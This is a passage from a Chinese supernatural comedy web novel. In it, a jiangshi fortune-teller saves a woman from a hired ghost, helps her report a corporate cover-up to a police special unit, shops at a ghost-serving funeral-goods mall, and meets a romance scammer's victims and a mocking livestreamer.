副驾驶的男人半截身体挂在肩膀上摇摇欲坠,喉间更是插了根断裂的车内配件,明明是已经彻底死亡的状态,却在某一刻突然睁开了眼睛,并且那双覆盖着浓郁鲜血的眼眸死死地看向了束媛。 束媛心中一惊,下意识地后退两步。 男人没有动作,只是嘴巴不停地张合,鲜血从中流淌而出时似乎还伴随着稀碎古怪的音调。 ——像是要对她说什么。 束媛想到自己与对方曾有过的交谈,几秒钟的迟疑之后最终还是选择上前两步,忍着鲜血肆虐造成的恶心感,将身体攀附在车窗边上,随后微微俯身。 也就是这一刻,原本被安全带以及车内设备死死束缚住的手臂突然抬起,毫无征兆地掐住了束媛的脖子,将她强行拽进了车内。 男人手臂上垂落的血肉触碰着束媛的脸,擦过她的鼻腔,血腥味与窒息同时涌现,她的眼睛翻白,十根手指却用力地抓住了车窗,脚尖抵在车门上,身体不停地往后拉。 但她的力气完全抵不过对方。 手臂肌肉在酸涩之后开始抽疼,束媛的意识也开始逐渐消散,她痛苦地张着嘴,呵出的每一口气息里面都夹着血腥味,就在她以为自己要被折断喉骨就此死亡的时候,一道极度耀眼的光芒突然爆开,没等束媛反应过来,就听见男人喉间溢出惨烈尖锐的叫声。 脖颈间的桎梏也在这一刻消失得一干二净。 她猛地跌坐到地,想要抬头看向破损的车,却发现眼前可怕的场景竟然在一点点虚化,就像是满地沙尘被风逐渐吹散,到最后,眼前突兀地一黑。 啪。 卧室的灯被打开,束媛倏地坐起身,一双眼充满惊恐地转向四周。 “你醒了?” 窗口,程璞玉手里拎着一团黑影,似乎觉得灯光过于耀眼,有些不太适应地眯了眯眼睛。 同时,在束媛看过来的时候晃了晃左手,像是打招呼。 束媛刚在梦中被人掐了脖子,差点醒不过来,一醒来又看到了个黑色的影子,吓得她差点尖叫。 “你——” 尾音刚落,‘叮咚’的门铃声悠长地响起,她微愣。 一旁程璞玉提醒了一句:“应该是容镜他们到了。” 容镜?! 在这种情况下,‘容镜’这个名字简直跟强心剂一样打在束媛的身上,令她疯狂跳动的心脏都变得平和起来。 打开门,少年站在门口的声控灯光下,光线照亮他白皙漂亮的脸蛋。容镜眉眼微微弯起,上下打量了一番束媛,笑吟吟地说:“看来程璞玉及时赶到了。” 程璞玉? 束媛想到了那个出现在她卧室、明显不是人类的身影。 她回头,正好瞧见程璞玉飘出来。 他见到容镜,当即挥挥手,凑到少年的面前将手里的这一团东西扔到地上,开始告状:“就是它!我赶到的时候它入了这位女士的梦,想要杀了她。” “这是……”回过神来的束媛张了张嘴,想到了梦中的场景。 “唔,一只小鬼,准确来说,是一只受人驱使的小鬼。”容镜弯腰戳了戳被团成球的黑影,这鬼的等级并不高,连‘恶鬼’都称不上,只能用‘小’字来形容。 而相对的,它也没什么特别的能力,只是对付一个普通人绰绰有余。 束媛听闻以后,一时竟然不知道该说什么好。 尽管在看到程璞玉的时候心中已经有所猜测,但听到容镜这么直白地将真相讲出来,她的世界观还是受到了一定程度上的颠覆。 束媛往后退了两步,拉开了自己与小鬼的距离 … 事情的开始还得从今天晚上说起。 容镜看到束媛的朋友圈动态之后忽而想到了前两天替束媛所算的卦象——退避三舍,否则会招致灾祸。 他心血来潮,想看看束媛如卦象所说的已经辞职了,灾祸是否已经消失,却没想到算出来的竟然是上坎下乾,爻辞□□的卦象,这意味着束媛此刻正处在非常危险的境地,一不小心就能丢命。 ——毫无疑问,比前两天算的卦象更加危险。 容镜觉得有点奇怪,既然束媛都选择了退避三舍,为什么卦象显示更加危险了? 他将这件事情说给谢长时听,语气甚至有点蔫蔫的,带着点对自我的怀疑:“谢长时,你说我是不是算错了?那我岂不是骗人了?我还收了她五百。” 但下一秒话又一转:“但以前我算卦从来没错过。” 小时候他跟在太虚老道的身边,老道爷爷就经常夸他虽然是只小僵尸,但天生就是吃道士这碗饭的。 谢长时看他脑袋的呆毛都耷拉下来,下意识伸手扶了扶,随后道:“别怀疑自己,前后卦象不一样是因为最初求的就是两件事情,有一种可能,卦象中显示的危险并不是同一个危险。” 他耐心地给容镜做假设:“对于束女士来说,前者的危可能是公司内部的迫害,而后者的危,可能是意外状况,譬如发生车祸、溺水等等因素导致的。” 他这么一解释,容镜就明白了。 明白之后面色微变,当即一个电话打到了身为鬼魂的程璞玉手机上,让对方先一步抵达了森和小区。 听他讲完事情的大致经过,束媛任由身体无力地陷入沙发之中,她的双手捂住脸,再一次庆幸自己在某一刻改变了想法,信任了方宇、信任了容镜。 毫无疑问,容镜救了她一条命。 她不停地说谢谢。 容镜捧着水杯喝水:“别那么客气啦,我要收钱的。” 一句有些煞风景的‘我要收钱’显得过分诚实,莫名地令束媛紧绷的身体放松了些,甚至还能扯扯嘴角笑一声:“好,收多少都没问题。” 容镜没喊多高的价格,毕竟这件事情准确来说其实并没有完全解决。 毕竟这小鬼是抓了,但背后的人却还没有现身。 想到此,他不由得询问:“介不介意告诉我这到底是怎么一回事?” 束媛苦笑:“说实话,我也不清楚。只是……如果是牵扯到性命问题的话,我确实有怀疑的对象。” 她的脑海中回忆起那三人的车祸,用手机将新闻内容的页面打开递给了容镜,将自己与三人之间发生的事情简单讲了一遍。 这三人是丹枫集团旗下毛巾品牌制造厂的员工。 准确来说,其实他们的小团队还有一人,叫做卜俊。 四人发现了工厂在制作毛巾时使用了不少致癌违规物,卜俊于某次喝酒时无意将此事透露给了其他人,工厂主任得知以后很愤怒,花了不少钱封了几人的嘴。 但至此之后,卜俊在工作上经常被主任针对。 卜俊是个暴脾气,一来二去就用这件事情威胁主任,扬言——你要是再给我穿小鞋,我就把事情捅给记者,到时候看倒霉的到底是你还是我。 主任当时气得火冒三丈,听说当天还摔了不少的东西。 但第二天,发泄完怒火的主任还是选择将工厂放在第一位,主动拎着好烟好酒和一箱牛奶上门道歉了。 卜俊心中虽意外主任与往常不同的行事风格,但依旧将此当做是对方的退让,心中畅快不少,并且再三发誓一定会管好自己的嘴。 原本事情到这里也就结束了,但令人没有想到的是,没过几天,卜俊就猝死在了家里。 当时卜俊就趴在桌前,而身前的电脑还停留在某氪时长的游戏界面。 “卜俊的死让另外三人很震惊也很害怕。不知道为什么他们就是一口咬死了卜俊的死和主任有关。尽管所有人都告诉他们这只是一个意外,不管是警方调查还是法医验尸,都可以确定卜俊的死亡只是一个意外。” “恰好,在这途中我作为负责人前去工厂视察,意外地和他们联系上了。” “他们主动来找你的?”程璞玉听得津津有味。 束媛却摇头:“是我从旁人口中听到这件事情后去问得他们,他们也如实跟我说了,也是那个时候起,我发现丹枫集团没有我想象得那么好,这种使用违禁品的事情在旗下工厂已经不是第一次了。” “我问了几个在公司待了很久的前辈,才知道公司用钱摆平过不少类似的事件。” 怪不得那天束媛会来长华街算卦问升职相关的问题。 容镜捧着脸,眼底透出了然。 “说实话,最开始我看到新闻说他们三个出车祸死的时候,我第一时间就想到了工厂的那个主任。” 如果说卜俊的死只是一个意外,那么这三人呢? 世界上真的有这么巧合的事情吗? 只是,就跟卜俊的死亡一样,三人的车祸找不出任何不合理的地方。 “我甚至想过他们是不是服用了精神类的药物,但托人打听了一下并未得到肯定回复。直到此刻,我终于知道了这背后藏着的秘密。” ——鬼。 一个在大部分人眼中,并不存在的生物,一手掌控了他们的死亡。 20、第 20 章 020. 束媛手里捧着水杯,手指无意识地摩挲着杯壁,温热的温度沿着她的皮肤和血管在某一刻稍稍安抚了她混乱不安的内心。 她在思考一个问题。 卜俊四人的死亡如果真是工厂主任勒令小鬼造成的,那么卜俊四人该如何讨回公道? 恶人做恶事尚有警察处理,恶鬼呢?恶鬼背后的推手呢? 像是能猜到她的想法,容镜提醒:“卜俊四人的事情,你可以去找雁城警局,告诉他们你要找特殊部门。之后会有专门的员工跟你对接相关事宜,你把你遇到的、你的怀疑全部告诉他们,就可以了。” 警局? 这两个字倒是熟悉,可是特殊部门又是什么? 有这样的存在吗? 她有些不确定地问:“我遇到小鬼索命被你所救的事情,也可以告诉他们吗?” 容镜点头:“当然。” 及时救下束媛,又大致搞清楚了束媛这边的情况,眼见着时间不早,楼下的车库内还有一个谢长时在等待,容镜便不打算多留,选择起身告辞。 想了想,他回头看向眼巴巴瞧过来的程璞玉,提议:“你留下,将束姐姐送到特殊部门再回来吧。” 程璞玉倒是不介意,但它说:“我还要上班。” 容镜:“我帮你请假。” 程璞玉连忙比了个ok的手势,扭头看向因为听到‘上班’二字而震惊呆愣的女人,露出腼腆的笑容:“您放心,今晚我就在外面守着,不会再有小鬼来找你麻烦。” 束媛点点头:“麻烦您了。” … 容镜坐着电梯回到车库。 因为是临时出门,谢长时穿得没有往日的严谨,随意套上的黑色衬衣领口也没有扣严实,露出大片冷白的肌肤。座椅往后拉,他单手握着手机,像是在看什么资讯。 随后,眼角余光瞥到容镜的身影,抬起眼眸,问他:“处理好了?” 容镜一边点头一边爬上车:“嗯,有只小鬼想杀她,还好程璞玉及时赶到了。对了,我让程璞玉留在束姐姐家里,明天送她到警局。程璞玉要请个假。” “我会跟宋清说。” “那我们现在回家吗?”容镜捧起脸,乌溜溜的眼眸望着男人,眼中‘请说不回家’的恳求几乎要溢出来。 小僵尸还没学会如何隐藏心思。 尤其是开车前往森和小区的路上,路边烧烤摊那些孜然椒盐的香味沿着风穿过未完全关闭的窗户飘进来车内时,少年眼睛都亮了。 谢长时主动提起:“想吃烧烤?” 容镜装作模样地询问了一下:“可以吗?” “可以。” 十多分钟后,路边烧烤摊,老板看了看面前的三大盆叠起小山丘的烤串,眼角跳了一下。 这会已经凌晨两点了,本来他看没客人过来已经准备关店下班了,谁晓得突然冒出个大客户,一时间也不知道是该开心还是该哭。 他抹了把被烟火气息熏出来的眼泪,热情地招呼:“两位随便找地坐,饮料和酒都在柜子里,想喝什么自己拿,到时候一起结账。” 容镜的眼神定在了啤酒上。 谢长时瞥见,将他的脸往边上一掰,视线直对纯石榴汁饮料,冷酷无情:“看这个。” 容镜:“……” 小僵尸挣扎:“一滴也不行吗?其他的你喝。” 谢长时:“我要开车,除非你愿意把车扛回去。” 小僵尸继续挣扎:“我们可以先打车,明天让人来开。” 谢长时回答上一个问题:“一滴也不行。” 容镜:“……” 好吧。 不行就不行。 石榴汁也一样好喝。 而且石榴汁看上去还挺像血的。 虽然开头让人有点遗憾,但等到石榴汁被打开,烤串被端上来,容镜已然吃得忘乎所以。 他将自己认为味道绝佳的烤串递到谢长时的面前,催促他:“谢长时,这个好吃,你快吃。” 谢长时嗯了一声。 吃过夜宵,回到家已经是凌晨四点。 容镜极度兴奋,没睡觉,而谢长时去浅睡了两个小时便照旧上班去了。 另一边。 束媛早早起床,换上衣服,拿着自己连夜整理的一番资料开车前往了雁城警局。 程璞玉坐在后座的位置,它不开口,但束媛偶尔会提起话题。 “你之前说你要上班,你们鬼也要上班吗?” 束媛对自己从未踏足的世界着实有些好奇,她原本以为按照自己从小听过的故事以及认知来看,小鬼是要去投胎的,没想到程璞玉竟然还要上班。 当人的时候上班,当鬼还要上班,这是不是太说不过去了。 程璞玉摸摸鼻子,小声回答:“一般情况下是不用的。” 束媛迟疑问:“那你这是……” 程璞玉:“我属于脑子有病的二般情况。” 束媛:“……” 束媛嘴角抽了抽,一时竟然不知道该说什么好。好在就在气氛安静下来时,雁城警局的大门就在眼前,她停了车,下车时没瞧见程璞玉跟上,回头露出疑惑的表情,便听到程璞玉道:“我不进去了,在外面等你。” “好。” 走入大门,迎上接待员,束媛抿了抿唇,有些怀疑地道:“你好,我找特殊部门。” 接待员微笑的表情微微一变,随后立刻道:“稍等,我带您过去。” 特殊部门在警局的六楼。 束媛跟在接待员身后出现在门口时,忍不住往门上多看了两眼,然后在心里发出灵魂质问——门上刻的是什么?怎么那么像大蒜? “进。” 就在束媛百思不得其解的时候,门内想起年轻的男声。 束媛走进去抬起眼眸,瞧见了穿着t恤、运动裤和板鞋的青年,对方的年龄应该不会超过二十五岁,黑发被染成了灰白的颜色,脖子上挂着闪眼的链子,有种……不太着调的感觉。 但她却听到接待员喊他:“池副,这位女士找您。” 池白看向束媛,鼻尖微动,嗅到了一股淡淡的鬼味,心中隐约猜到束媛来此的目的,不过他有些好奇:“这位女士是怎么知道特殊部门的?” 束媛的视线扫过办公室内的装饰,看到那些与正经风格完全不同的物件,连忙道:“是一位叫做容镜的道长推荐我来的。” 容镜? 池白拖长声音哦了一声,低头看了眼手机屏幕,[我是你爹]的账号名字异常显眼。 他指了指一旁的位置,道:“坐下说。” 束媛始终记着容镜的告诫,将所有的事情以及自己的怀疑事无巨细地告知对方,说完以后,池白眯了眯眼睛,问:“你说丹枫集团?” 束媛一愣,沉默一阵后点了点头。 丹枫集团在全国也算赫赫有名,虽然比不得谢氏拥有百年历史、近年又重振辉煌,可也算是家喻户晓了。 这也是为什么束媛辞职时,不少同事表达了可惜之情。 “稍等。”池白说了句,便扭头拨出去一个电话,“段云双,我这边有个受害者来报案,怀疑丹枫集团手下的人借鬼虐杀员工,你过来一趟。” 段云双昨日从滢州回到了亭阳,因为这一趟出差没找到半点有用线索,丹枫集团那边也成为不了突破口,气得段云双昨日在群聊内破口大骂整整三个小时。 池白点开手机的时候被999+的提示惊了半天,再看内容,他都觉得段云双可以出本书。 书名就叫做:如何优雅问候傻逼。 段云双的气到现在还没消,陡然听到一句受害者报案,报的还是丹枫集团的案,当即从床上爬起来,扔下一句“等着,我马上来”就扔掉了手机。 池白挂断电话,问束媛:“你今天有事吗?没事的话可以在警局逛一逛,看看风景什么的,等亭阳特殊部门的段部长过来,她会跟你详聊。” 束媛:“我去跟送我来的朋友说一声。” “好。” … 程璞玉慢悠悠地飘到了长华街。 容镜给它请了一整天的假,正好今天原本它是要跟蒋氏的陈荣继续对接原先的项目,它一点都不想跟对方说话,索性就借着假跑路。 “你来啦,正好,束姐姐给我转了钱,我带你买点东西?” 这一次抓小鬼、保护束媛的事情基本都是程璞玉做的,束媛给的费用理应有一大部分属于程璞玉。但光给程璞玉钱也没什么用,所以容镜找了家丧葬品店,打算给程璞玉置办点东西。 省得程璞玉看什么都眼馋。 果然,一听容镜这话,程璞玉的眼睛都亮了。 “真的吗?” “嗯,吃完午饭我们就去。” 丧葬品店是段云双推荐的,听说店主非常牛逼,在附近几个城镇开了好几家连锁店,而雁城这边这家是面积最大、东西最齐全的。 容镜打了个车,带着程璞玉坐进车内,司机便热情地跟他们打招呼,并笑眯眯地问:“帅哥去天地通啊?您是这边人还是其他地方来的?” 容镜和程璞玉听这话觉得奇怪,丧葬品店除了本地有需求的客户,外地来的跑那儿干嘛? 司机透过后视镜瞧见容镜奇怪的表情,摆摆手:“哎呀,我们这的天地通虽然是个卖丧葬品的,但你还真别说,老受欢迎了,算是外来游客的打卡景点呢。” 司机等绿灯的时候掏出手机,找到某软件搜了搜,然后递给容镜。 容镜低头一看,该账号主人发了张自己和一座豪华纸质大别墅的合影,并道:来打卡雁城天地通,准备买个大别墅回家烧给我去世十八年的爷爷,让他有事没事多去梦里扇我爹两巴掌,省得一天到晚逼逼叨叨来找我事/微笑 容镜:“……” 程璞玉:“……” 21、第 21 章 021. 司机师傅给了容镜和程璞玉震惊之后,显然还没有结束话题的意思,通过后视镜看向容镜微微古怪的表情,当即挺直腰板,一副与有荣焉的模样:“你们不要觉得这个人在胡说八道博热度,我跟你们讲,天地通很神的。” 容镜是只好僵尸。 他没有打断司机师傅的话,甚至主动应和,状似好奇的问:“为什么说很神的?” “因为买了天地通的丧葬品烧给家里人之后,家里人真的会托梦回来。”司机师傅一边说一边感慨,每次提及到天地通,他都会觉得很神奇,“我说这话也不骗人,我自己就给我那去世的老妈买过天地通的丧葬品,结果第二天我妈就进我梦里说我有孝心。” 程璞玉:“……” 小鬼忍不住戳戳容镜的手臂,附在他耳边小声地问:“真的假的?” 容镜想了想,回答:“应该是真的吧,可能老板在地府有点关系。” 不过这样也挺好的。 不管是对于死去的人,还是活着的人,天地通的丧葬品都可以作为维系二者思念或交流的通道。 难怪段云双会推荐这个地方,必然是知晓天地通的神奇与特别之处。 出租车很快在天地通的大门口停下,容镜和程璞玉一僵尸一小鬼站在天地通的大门前,仰起头,纷纷露出了乡下土包子没见过世面的惊叹模样。 直到此刻,容镜才对段云双口中的‘面积最大、东西最全面’几个字有了最直接的了解。 雁城的天地通简直跟大型的连锁超市一样,站在大门口便足以可见五层楼的高度,硕大的[天地通]广告牌嵌在玻璃之上,在日光下恍若在发光。走入其中,‘叮咚’的欢迎光临提示音响起,旋即一块电子从旁边的展台亮起,容镜和程璞玉凑过去,发现这上面可以查阅顾客想要的任何物品。 “这和人类的商场真的没有区别诶!”程璞玉眼睛晶亮,飘到了男装的楼层,哇哇惊叹,“容镜,你给我买身衣服吧?” 它身上原本穿得是死亡那天的衣服,后来入职谢氏以后,宋清送了它一份入职礼物,便是身上的这套西装。但它实在有点不喜欢穿西装,觉得浑身都被束缚起来,以后要是跟鬼打架肯定不方便。 容镜也是个喜欢打架的,大概能猜到程璞玉换衣服的初衷,因此没有任何犹豫。 他走向男装区,拎起一件衣服时扭头问:“你穿多大的?” “我……”程璞玉的话还没说完,就见到旁边的导购上前一步,露出一张甜美的脸蛋,笑吟吟地道,“这位先生可以穿180的哦,不过合不合适可以先试一下呢。” 容镜和程璞玉同时扭头,看向导购。 导购冲程璞玉眨了眨眼睛。 程璞玉:“握草!” 它惊叫:“容镜!她能看见我!” 容镜:“……” 得知导购可以看见自己以后,程璞玉连忙绕着对方转了几圈,旋即好奇地问:“你为什么能看见我?” 导购微笑:“老板让我看见的。” 程璞玉又问:“你们老板是谁啊?” 导购面露难色:“不好意思,我们老板的身份一般不对外公开。” 程璞玉哦了一声,再度问:“那你能看见我不觉得害怕吗?我可是鬼诶!” 导购:“我们经过严格的训练,一般是不会害怕的。” 程璞玉嘴巴一张还想继续问,但这家男装店又来了好几个顾客,容镜一把将它拽走,并对导购道:“就买这个,麻烦帮我们包起来吧。” 导购却问:“需要帮忙代烧吗?我们是良心企业,不收手续费。” 容镜:“……” 他在心里惊叹,真是好神奇的一家店。 然后果断点头。 临走前,导购还友情提示了一句:“五楼是餐饮,但一般情况下不对外开放,但您这边是例外,所以有机会的话可以去尝尝哦。” … 容镜带着程璞玉逛了四个楼层,买了不少东西。 衣服、生活用品、零食什么应有尽有。 好在束媛给的费用够多,还能有剩余。 于是在程璞玉的央求下,两人前往了五楼。五楼有专门的工作人员守着,瞥见容镜身旁的小鬼,原本阻拦的动作微微一顿,示意二者可以进入。 容镜也是这时明白为什么他们是例外了。 不出意外的话,这五楼的餐饮只对鬼开放。 ——他这只小僵尸是沾了程璞玉的光。 程璞玉逛了一大圈,最后选择了火锅,等所有的配菜上桌,容镜拍了张照片发给谢长时。 眼下并非吃饭时间,谢长时正坐在会议室的主位上听各位高层吵架,他背靠着椅子,微微敛着眼皮,太阳穴一抽一抽的,为数不多的耐心正在逐渐消退。 直到放在桌面上的手机轻轻震动了一下。 谢长时的手机联系人其实并不多,能在这种时候找他的,除了容镜不会再做第二人选。 他拿起手机,看到了那张火锅的照片。 又有些不确定地看了眼时间。 下午三点二十分。 小僵尸这吃饭的时间真是乱得不能再乱了。 他打字询问:好吃吗? 阿镜:好吃! 阿镜:下次带你来吃! 两秒钟后,[下次带你来吃!]这条信息被快速撤回。 谢长时眉梢微微扬起,等了一分钟也没见容镜再发送新消息,他眼眸微深,问道:不想带我去吃? 容镜挠挠头,扣字:这句话有点晦气,但如果你不介意的话,等你死了或者我死了,我们可以约着一起来。 阿镜:点他们家的a套餐,好多肉还便宜。 谢长时:……? * 逛完天地通出来,容镜回到了长华街。 今天是工作日,晚上才是长华街人流量最大的时候,作为长华街中摆摊的一员,容镜肯定不能错过这个机会。 而买了很多东西并且已经彻底爱上天地通的程璞玉二话不说就跟在了容镜的身后。 并问容镜:“以后你有需要打手的活能不能再叫上我?” 这兼职工作比本职工作有意思多了。 容镜没拒绝,但话说在了前头:“遇到比你厉害的鬼,我就不叫你了。” “没问题!” 遇到厉害的鬼,别说容镜不叫它,就算容镜叫它,它也不一定愿意。 毕竟,人死了可以变成鬼,但鬼死了,那就是真正地灰飞烟灭了。 它程璞玉感受过当鬼的好,自然不可能轻易放弃自己的性命。 回到长华街时,正巧是下班时间,没一会儿整个长华街便聚满了人。 莫景同的小摊前人数颇多,他压橙汁的手都快压出残影也不够用。但压汁机只有一个,就算容镜有心也没有机器去帮忙。 恰好,容镜这边也来了两个生意,是两个结伴而来的小姑娘,一个算事业,一个算姻缘。 前者事业运爆棚,后者姻缘稀烂。 容镜说完,第二个小姑娘眼眶都红了,眼泪已经在眼眶内飞速打转,像是马上就要掉下来。 容镜连忙掏出了背包里的棒棒糖,干巴巴地安慰她:“你、你别哭啊,咱们算的只是你的这一个男朋友,这个不行就算了,下一个会更好的!” 女孩抿唇,忍着眼泪用哭腔问:“这一个真的不行吗?” 容镜:“……祖师爷说他不行,他肯定就是不行。” 女孩虽然难过,但显然也是个听劝的,而且据她自己所说自己还是柳柳的粉丝,对容镜的水平如何心里有数。 她点点头,咽下眼泪正欲告辞,便见一道风风火火的身影从远处而来,与女孩擦肩而过的时候甚至撩起了一两缕凉风,不等她搞明白什么情况,这道身影便啪嗒一下拉了个简易椅子坐在了她的身侧,然后双眼炯炯有神地盯上了容镜。 容镜看着袁思雨一身休闲装,妆容精致但掩盖不住怒火的样子,想到了当时给她算的卦。 果然,不用等容镜主动开口问,袁思雨便叭叭叭张嘴了:“容大师你还记得你给我算的姻缘卦吧?你让我对我那相亲对象保持警惕来着?” 话一出,红眼眶的女孩刚站起又坐下了。 感觉好像有大瓜。 袁思雨没注意到她,直言道:“结果还真让我查出点问题来,这傻逼就是个伪装成高知分子的骗子,专门骗小姑娘的钱!” 她掏出手机,递给容镜看:“你看,是不是长得人模人样的?结果除了我这个相亲对象,光是我知道的,就还有两个受骗的女孩。” 红眼眶的女孩下意识凑了过来。 然而等视线聚焦在屏幕上,猛地发出一声中气十足的:“我草!” 袁思雨被耳旁的怒音吓了一跳,连耳膜都在震颤。她捂着耳朵扭头看去,却发现身侧小姑娘的眼神始终牢牢地黏在她的手机屏幕上。 女孩对上袁思雨的眼睛,问:“这是你的相亲对象?你们相亲多久了?” 袁思雨眨了下眼睛,回忆:“一个多月吧。” 一个多月…… 女孩扭回头,气哄哄地冲容镜道:“大师,这就是我的那个男朋友!” 容镜:“……?” 袁思雨懵了懵,下意识开口:“……可是我的资料里没有你啊。” 女孩憋着一口气,有点委屈又有点气愤:“有没有可能,我是两个之外的第三个。” 袁思雨:“……” 22、第 22 章 022. 袁思雨再一次对她那相亲对象广撒网的本事感到佩服。 这网得撒得多大,才能让她在容镜的小摊都随机碰到一个? 容镜咬着奶茶的吸管,看袁思雨手指握成拳头,手背上青筋毕露,再看另一个女孩被气出血丝的眼瞳,不免也有点好奇,用棒棒糖碰了碰袁思雨的手指,将棒棒糖递给她降火的同时,问道:“你那个相亲对象——” “喊他渣男。” 容镜乖乖改口:“那个渣男在跟你相亲的时候,不知道你是警察吗?” 袁思雨:“……知道。” 所以等袁思雨真的确认了那死渣男是骗子以后,她觉得这渣男是不是在挑衅她? 袁思雨的拳头握得更紧了:“狗玩意看我沉浸在他温柔乡里指不定心里怎么嘲笑我呢,我要是不把他送进去吃牢饭,都对不起我的警服。” 袁思雨说完眼睛突然一眯,凑到容镜的跟前,用只有容镜才能听到的声音,悄咪咪的问:“大师,你养不养鬼?” 容镜:“?” 袁思雨搓搓手,轻咳一声:“借我一只使使呗?我给钱。” 最后三个字冒出来时,都不用容镜开口,程璞玉已经在容镜的面前上蹿下跳,激动道:“我去,我去,让我去。” 容镜吸了一口奶茶,问:“你怎么不跟你们特殊部门借鬼?” 以容镜对各大门派、道观的了解,那些道士们手里的小鬼数量肯定不少,毕竟小鬼有时候可以当做有力的武器,使用起来十分方便。 袁思雨嗐一声:“早上去过特殊部门了,他们没同意。” 平时办案需要,还能打打报告申请一下,但这次纯粹是私仇,特殊部门不同意也在袁思雨的意料之内。 “你放心,我肯定不瞎搞。” “那我倒不是很担心。”就算袁思雨想瞎搞,程璞玉自己心里也有数。 想到这里,容镜便也没阻止程璞玉赚外快,程璞玉赚多了,下次还能让他带自己去天地通吃火锅。 做下决定后,袁思雨和程璞玉很快消失在了长华街,走前袁思雨还对同受骗的女孩保证道:“放心,我一定给咱们报仇!” … 一直到容镜随着谢长时回到云江湾,程璞玉也没回来。 容镜也没管它,快快乐乐地跟着谢长时去吃晚餐了,吃饱了晚餐,又来了一杯饭后饮品。 容镜喝完血以后晕晕乎乎,整个僵尸都有种飘到天上的感觉。谢长时松了松肩膀,感受着脖颈处残留的那点濡湿感,垂着眼眸看小僵尸抱着枕头蹭脸。 他伸出手指碰了碰少年的脸蛋,被容镜一把抓住,睁开雾蒙蒙的眼睛,声音微哑地问:“干嘛呀。” “看你是不是醉血。” “才不会。”就是好像多喝了两口,有点爽过头了。 容镜缓了十多分钟才从腿软手软的状态中回过神来,脸蛋压在抱枕上去看坐在侧边看报告的男人,他像是想起了点什么,连忙跑回了自己的房间。 没两分钟后,人走出来,怀里还抱着一个硕大的盒子。 迎上谢长时的目光,他将那大盒子塞到了谢长时的怀中,然后说:“这是补偿。” 补偿? 谢长时的眉梢微微扬起,心道这小僵尸倒是学会人情世故了,给他喝了血,还知道补偿他。 随后一低头,看到了几个硕大的字: xx富铁软糖,孕妇补血补气。 谢长时:“……?” 人情世故学了,但好像没学会。 几秒钟的沉默后,谢长时将盒子重新扔回少年的怀中,按住有些抽疼的太阳穴,询问:“这两个字认识吗?” 容镜凑过去看看:“孕妇嘛。” 他虽然是只僵尸,但勉强算只有文化的僵尸,太虚爷爷和谢长时都教了他不少字。 谢长时:“我和孕妇有什么共同之处吗?” 容镜:“都是人。” 谢长时:“?” 容镜哎呀两声,解释道:“我前两天看新闻,说很多保健品其实都有隐藏的问题,不止达不到吹嘘的效果,还可能对身体造成损害。但这个不一样,这个连孕妇都能吃,你肯定也能吃。” 谢长时:“……” 逻辑听着没什么问题,但他拒绝。 他起身,手掌压在容镜的脑袋上,语气淡淡:“我还没有虚到你喝我两口血,我就要补回来的地步。我不需要这个,你自己吃吧。” 容镜看看盒子,再看看谢长时的背影,果断拆了一盒,捞了一颗软糖。 ……撇开孕妇不孕妇的,其实味道挺好的。 谢长时真是没眼光。 由于谢长时对软糖不感兴趣,第二天,容镜便带着自己的孕妇补血软糖来到了长华街,并且热情地分享给了莫景同。 试图寻找一个同伴。 而莫景同也没有让他失望,青年砸吧了两下嘴,眼睛发亮:“这糖还挺好吃。” 容镜也跟着眼睛发亮,看莫景同的目光有了同道中人的满意,但同时也不忘记再次在心底嘀咕——谢长时确实没眼光。 下午时分,容镜的小摊前突然来了一波人,带头的就是常哥。 常哥照旧举着手机直播,穿得也人模人样,根据莫景同的说法,他的西装某奢侈品牌的高定,手上无意间露出的手表价值八个w,派头十足。 一对上容镜那双乌溜溜的眼眸,他的脸上便扬起了笑容。 捋了一把黄发,他似笑非笑地问:“大师对我的到来好像很意外啊,不会是忘记了我俩的赌约吧?” 容镜眨眼:“没忘。” 随即看了眼手机上的时间,再度开了口:“但是按照我们的赌约,应该还有两个小时才到七天,你来早了。” 一听他这话,常哥和直播间的观众都纷纷笑开了。 [不会吧,他怎么还在挣扎啊?] [他不会觉得这两个小时还能扭转乾坤吧?] [其实我真的很羡慕骗子的心态,我遇到事就没法这么淡定。] [别跟他掰扯了,打电话报警,就说这里有个骗子!] [对对对,那个叫柳柳的主播不就说他是骗子的话,会有警察抓他的吗?报警!] [报警!] 短短几秒钟时间,直播间几乎被‘报警’二字给完全占据,而令人惊奇的是,就在此刻,警笛声突破嘈杂的人群,忽然响了起来。 第 23 章 好香,好想来一口... 023. 直播间的观众一时都没有反应过来,连连发弹幕开笑: [笑死,常哥你真应景啊,还真给放警笛的录音?] 结果三秒后,常哥的手机往斜前方转了一圈,一辆白色的警车停在路边,上方的警灯两种颜色交错闪烁,几道身穿制服的身影抬起眼眸,迈着大步朝着他们的角落走了过来。 [我去,真的有人报警啦?] 常哥瞥到这条弹幕,心中也分外惊讶,扭头看了看自己身后跟着一同前来的同伴,同伴都迷茫地眨眨眼,露出奇怪的表情和神色,匆匆摆手:“跟我没关系啊,我可没报警。 常哥冲镜头露出惊讶的表情,又看向盘腿坐在椅子上把玩着兆龟的少年,笑嘻嘻道:“哥们,你别介意啊,可能是直播间的哪个热心观众给报了警。不过你要是没骗人的话,应该也不担心吧? 一旁的莫景同看看常哥,再看看容镜,眉心紧蹙。 倒是容镜这个当事人的表情相当淡定,面对常哥的挑衅,甚至有心情拆糖吃。 他笑吟吟对常哥说:“你说得对,我没骗人,所以不担心。 话落下没多久,那几个身穿制服的警察也已经走到了小摊的面前。 为首的这位看着面熟,容镜盯着他看了一阵才想起来先前抓捕张埠的行动中,就是对方和袁思雨扮演情侣来到他的小摊前保护柳柳来着。 好像姓胡。 年轻的警察显然也注意到了容镜的视线,正欲打声招呼,视野之中突然挤过来一道人影,那一头扎眼的黄毛一闪而过,紧接着常哥便在胡警官面前站定,伸出手强行捞起胡警官的手握了握,笑得有些谄媚:“这位警官,实在不好意思啊,给你们添麻烦了。 胡警官扬起了眉。 常哥没察觉到哪里不对,当即又道:“但主要也是这位小哥骗人骗得太过分了,我直播间的观众都看不下去了。 “骗人? “哦,你们是接到了报警电话但还没搞清楚到底是怎么回事是吧?事情是这样的,这位小哥在这里摆摊算卦,我这不觉得他是骗子嘛,所以就和他打个赌,现在赌约的时间要到了,但是他算的卦没有灵验,就有好心的直播间观众给报了警。 身后十万观众支持,常哥越说越上头,又多补充了几句:“不过我看这小哥的年纪不大,估计还没满二十岁吧?可能只是家里有困难,又一不小心走错了道,你们这边要是能酌情处理就酌情处理……也没必要那么严格,小孩子未来还长呢。 胡警官看了眼容镜。 容镜露出无辜的表情。 说实话,容镜听了常哥说这话,心中也是十分的震惊。 